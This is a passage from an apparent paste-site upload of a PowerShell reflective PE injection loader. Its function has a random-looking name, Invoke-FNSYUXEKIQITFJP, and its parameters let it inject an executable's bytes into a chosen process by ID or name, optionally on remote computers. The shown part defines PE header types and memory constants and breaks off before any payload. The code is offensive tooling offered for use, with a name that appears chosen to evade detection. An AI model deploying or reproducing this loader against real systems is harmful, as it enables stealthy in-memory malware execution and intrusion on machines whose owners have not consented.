Untitled
raw download clone
TEXT
views 10
,
size 277603 b
function Invoke-FNSYUXEKIQITFJP
{

[CmdletBinding()]
Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $PEBytes,

	[Parameter(Position = 1)]
	[String[]]
	$ComputerName,

	[Parameter(Position = 2)]
    [ValidateSet( 'WString', 'String', 'Void' )]
	[String]
	$FuncReturnType = 'Void',

	[Parameter(Position = 3)]
	[String]
	$ExeArgs,

	[Parameter(Position = 4)]
	[Int32]
	$ProcId,

	[Parameter(Position = 5)]
	[String]
	$ProcName,

    [Switch]
    $ForceASLR,

	[Switch]
	$DoNotZeroMZ
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
	[CmdletBinding()]
	Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Byte[]]
		$PEBytes,

		[Parameter(Position = 1, Mandatory = $true)]
		[String]
		$FuncReturnType,

		[Parameter(Position = 2, Mandatory = $true)]
		[Int32]
		$ProcId,

		[Parameter(Position = 3, Mandatory = $true)]
		[String]
		$ProcName,

        [Parameter(Position = 4, Mandatory = $true)]
        [Bool]
        $ForceASLR
	)

	Function Get-Win32Types
	{
		$Win32Types = New-Object System.Object

		$Domain = [AppDomain]::CurrentDomain
		$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
		$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
		$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
		$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

		$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
		$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
		$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
		$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
		$MachineType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType


		$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
		$MagicType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType


		$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
		$SubSystemType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType


		$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
		$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
		$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
		$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
		$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
		$DllCharacteristicsType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType



		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
		($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
		$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
		$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
		$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
		($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
		($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
		($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
		($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
		($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
		($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
		($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
		($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
		($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
		($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
		($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
		($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
		($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
		($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
		($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
		($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
		($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
		($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
		($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
		($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
		($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
		($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
		($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
		($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
		($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
		($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
		($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
		($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
		($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
		($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
		($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
		($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
		($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
		($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
		($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
		($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
		($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
		($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
		($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
		$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
		($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
		($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
		($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
		($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
		($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
		($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
		($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
		($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
		($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
		($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
		($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
		($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
		($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
		($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
		($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
		($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
		($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
		($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
		($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
		($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
		($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
		($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
		($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
		($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
		($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
		($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
		($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
		($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
		($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
		($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
		($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
		($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
		($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
		($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
		($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
		($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
		($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
		($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
		($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
		($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
		$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
		$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
		$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
		$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
		$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
		$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
		$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
		$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

		$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
		$e_resField.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

		$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
		$e_res2Field.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
		$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

		$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
		$nameField.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
		$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
		$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
		$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
		$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
		$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
		$LUID = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
		$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
		$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
		$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
		$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
		$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

		return $Win32Types
	}

	Function Get-Win32Constants
	{
		$Win32Constants = New-Object System.Object

		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
